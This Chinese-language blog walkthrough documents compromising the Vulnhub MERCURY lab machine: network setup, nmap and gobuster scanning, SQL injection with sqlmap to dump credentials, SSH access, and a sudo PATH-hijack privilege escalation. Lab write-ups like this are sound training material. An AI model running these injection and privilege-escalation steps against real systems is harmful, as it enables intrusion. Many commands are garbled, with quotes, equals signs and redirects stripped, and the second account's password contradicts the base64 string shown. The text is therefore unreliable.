Vulnhub靶机实战:MERCURY提权全记录(附环境配置避坑指南)
Vulnhub靶机实战MERCURY渗透全流程与网络配置避坑指南在网络安全学习过程中Vulnhub靶机因其丰富的实战场景和多样化的漏洞组合成为安全爱好者提升技能的绝佳选择。MERCURY作为Vulnhub平台上的一款入门级靶机虽然难度不高但完整呈现了从信息收集到权限提升的标准渗透测试流程。本文将详细记录从环境搭建到最终提权的完整过程特别针对VirtualBox与VMware网络兼容性问题提供解决方案帮助初学者避开照着教程做却连不上靶机的常见陷阱。1. 环境准备与网络配置1.1 靶机下载与导入MERCURY靶机可从Vulnhub官网获取下载链接通常为OVA格式文件。需要注意的是该靶机原生支持VirtualBox环境若使用VMware Workstation导入可能会遇到网络适配问题。建议优先使用VirtualBox进行实验若必须使用VMware可尝试以下转换步骤# 将OVA转换为VMware兼容格式 ovftool Mercury.ova Mercury.vmx1.2 网络模式选择与互通配置确保攻击机(Kali Linux)与靶机处于同一网络环境是渗透测试的前提。推荐采用NAT网络模式具体配置要点如下VirtualBox设置全局设定 → 网络 → 添加NAT网络如NatNetwork靶机网络设置 → 选择NAT网络 → 选择刚创建的NatNetworkKali虚拟机同样选择该NatNetworkVMware兼容方案1. 编辑虚拟机设置 → 网络适配器 → 自定义特定虚拟网络 2. 确保Kali和靶机选择相同的VMnet通常为NAT模式下的相同VMnet 3. 若仍无法互通可尝试将靶机改为桥接模式注意完成配置后建议在Kali中执行ip addr show查看本机IP然后使用arp-scan -l扫描同网段设备确认靶机IP可达。1.3 常见连接问题排查当遇到网络不通时可按以下步骤排查检查虚拟机网络适配器状态VirtualBox确保启用网络连接已勾选VMware确认网络适配器已连接验证IP分配# Kali中查看自身IP ifconfig eth0 # 扫描同网段主机 nmap -sn 192.168.56.0/24防火墙干扰排除临时关闭Kali防火墙sudo ufw disable检查靶机是否限制ICMP响应2. 信息收集与漏洞扫描2.1 主机发现与端口扫描使用Nmap进行基础扫描是渗透测试的标准起点。针对MERCURY靶机建议采用分层扫描策略# 快速存活检测 sudo nmap -sn 10.10.10.0/24 -oN host_scan.txt # 全端口扫描TCP sudo nmap -sT --min-rate 10000 -p- 10.10.10.6 -oN full_port.txt # 服务版本探测 sudo nmap -sT -sC -sV -O -p22,8080 10.10.10.6 -oN service_scan.txt # 漏洞脚本扫描 sudo nmap --scriptvuln -p22,8080 10.10.10.6 -oN vuln_scan.txt扫描结果通常显示开放22(SSH)和8080(HTTP)端口。值得注意的是8080端口运行的非标准Web服务而是某种HTTP代理应用这为后续渗透提供了方向。2.2 Web应用目录枚举当直接访问8080端口仅返回简单维护页面时目录爆破成为必要手段。推荐使用Gobuster配合中等规模字典gobuster dir -u http://10.10.10.6:8080 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,txt -o web_scan.txt若常规爆破无果可尝试以下技巧修改HTTP请求头如添加X-Forwarded-For尝试非常规文件扩展名.bak, .swp等检查robots.txt或crossdomain.xml等标准文件3. Web渗透与漏洞利用3.1 非常规路径发现技巧在目录爆破无果时故意访问不存在的路径如/aaa可能触发应用报错泄露有价值信息。MERCURY靶机正是通过这种方式暴露了隐藏的/mercuryfacts目录。这种技巧在实际渗透中尤为实用错误诱导法尝试/admin,/test,/backup等常见但可能不存在的路径观察错误页面是否泄露路径、框架信息参数探测# 使用curl测试参数 curl -v http://10.10.10.6:8080/mercuryfacts/13.2 SQL注入利用实战当发现/mercuryfacts/1可能存在SQL注入时可先用手动测试确认漏洞# 测试单引号触发错误 curl http://10.10.10.6:8080/mercuryfacts/1 # 测试布尔条件 curl http://10.10.10.6:8080/mercuryfacts/1 and 11 curl http://10.10.10.6:8080/mercuryfacts/1 and 12确认存在注入后使用sqlmap自动化利用# 获取数据库列表 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql --dbs # 获取mercury数据库表结构 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql -D mercury --tables # 导出users表数据 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql -D mercury -T users --dump获取的凭据通常为以下格式usernamepasswordjohnjohnny1987webmastermercuryisthesizeof0.056Earths4. 权限提升与后渗透4.1 初始访问与信息收集使用获得的凭据通过SSH登录ssh webmaster10.10.10.6 # 密码mercuryisthesizeof0.056Earths登录后应立即开展信息收集检查家目录隐藏文件ls -la ~查找SUID/GUID文件find / -perm -4000 2/dev/null查看可写目录find / -writable 2/dev/null检查计划任务crontab -l4.2 横向移动技巧在webmaster账户下发现notes.txt文件内含疑似base64编码的凭据# 解码示例 echo bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg | base64 -d获得linuxmaster账户凭据后切换用户su linuxmaster # 密码mercuryisthesizeof0.056Earths4.3 特权升级环境变量劫持关键步骤分解检查sudo权限sudo -l # 输出显示可运行/usr/bin/check_syslog.sh分析脚本内容cat /usr/bin/check_syslog.sh # 发现使用tail命令读取日志创建恶意软链接ln -s /bin/vi tail劫持PATH环境变量export PATH.:$PATH执行提权sudo --preserve-envPATH /usr/bin/check_syslog.sh # 进入vi后执行!bash5. 渗透测试中的思维训练MERCURY靶机虽然技术难度不高但完整呈现了渗透测试的标准思维流程。以下几点值得特别关注错误处理信息的价值404页面可能泄露关键路径开发者注释的重要性See List页面暗示了数据库结构最小权限原则的突破从webmaster到linuxmaster的权限跃迁环境变量攻击面PATH滥用导致的权限提升实际渗透中遇到的网络连接问题往往比漏洞利用本身更耗时。建议初学者建立标准的排查清单虚拟机网络模式是否匹配NAT/NAT网络防火墙规则是否阻止通信iptables/ufwIP地址是否在同一子网ip addr show靶机服务是否正常监听netstat -tulnp掌握这些基础问题的解决方法才能将更多精力集中在真正的安全技术研究上。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2446203.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!